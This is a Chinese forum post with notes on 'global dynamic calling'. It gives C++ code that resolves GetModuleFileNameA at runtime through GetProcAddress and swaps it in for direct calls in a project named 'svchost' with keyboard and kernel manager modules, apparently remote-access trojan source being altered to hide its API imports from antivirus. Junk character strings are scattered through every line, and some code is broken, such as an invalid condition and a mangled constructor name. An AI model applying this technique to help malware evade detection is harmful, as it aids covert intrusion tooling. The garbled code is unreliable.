[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记  H* y7 z8 y4 u3 K7 j6 a
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h9 m, ~  ~) x  |) s0 a. J" y
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' p. }  _9 e% F3 M- LDTDY.h：
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#if _MSC_VER>10009 x: X1 P8 |5 D1 }" |- J$ p
#pragma once- K8 T/ q7 I: f8 w5 m5 J. v* r- V# X
#endif //_MSC_VER>1000
6 B! G5 M& ]$ H" S#include<windows.h>+ W3 d5 w5 t- n+ e

) x- x! O8 L  @+ L; Etypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  ]2 E, s4 C4 b
class DTDY
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public:$ f+ b6 A4 w( d+ Q! G6 M8 Z* K
DTDY();
0 ~9 @" A  `  l+ kvirtual ~DTDY();, J5 U! C. u; G+ ]
public:
+ F- z  l) x% h/ A0 E. g) ^5 kstatic pGetModuleFileNameA MyGetModuleFileName;
1 w9 k: \4 n. i' h+ {; B5 @static BOOL FunInitiallization();
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#endif# W6 J8 \/ O# |$ m, l
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DTDY.cpp:
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#include "DTDY.h"" i" `" T$ s6 S; `! F
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
* f$ j2 f4 U3 x/ ]% I; ODTDY:TDY()
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DTDY::~DTDY()
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BOOL DTDY::FunInitiallization()) J. `, u9 H6 O: C3 f, y; ]& c
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HMODULE hModule=LoadLibrary("kernel32.dll");) _% u% U3 P) E( ?; h6 x
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");* E2 s5 P* z1 X% V4 W
if(!MyGetModuleFileName=) return FALSE;. N/ I, Q' v5 t
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return TRUE;6 E  K+ u: {' m5 g# c: {
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svchost.cpp:
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! ~$ F3 O0 E& J. V#include "DTDY.h"; Q, h6 T8 @, P& W* o

; s2 j; g: d  r' }5 A' @& oBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)- ?) ^4 G  ?# ?* A% F1 e1 L5 B& |
{1 q* }% X, i8 Y" {
switch(ul_reason_for_call)# M# `/ E& L+ F
{
5 P5 b! `4 N" ~5 xcase DLL_PROCESS_ATTACH:
9 R4 V# e0 x+ T/ ^if(!DTDY::FunInitiallization()) return FALSE;
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break;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def+ O3 }0 V" ?7 ]
改写为
6 m% L3 E) J( L1 fDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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2 k0 y0 G+ v& {; j( M  mKernelManager.cpp:( F1 F4 k: [) y8 z4 J$ t! _3 h

( V  K3 z8 N6 h! C#include "../DTDY.h": D' C0 e3 H: b; W
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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" D! n" S' ], [: sDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" S) H2 G6 {  I; o7 c/ [, u
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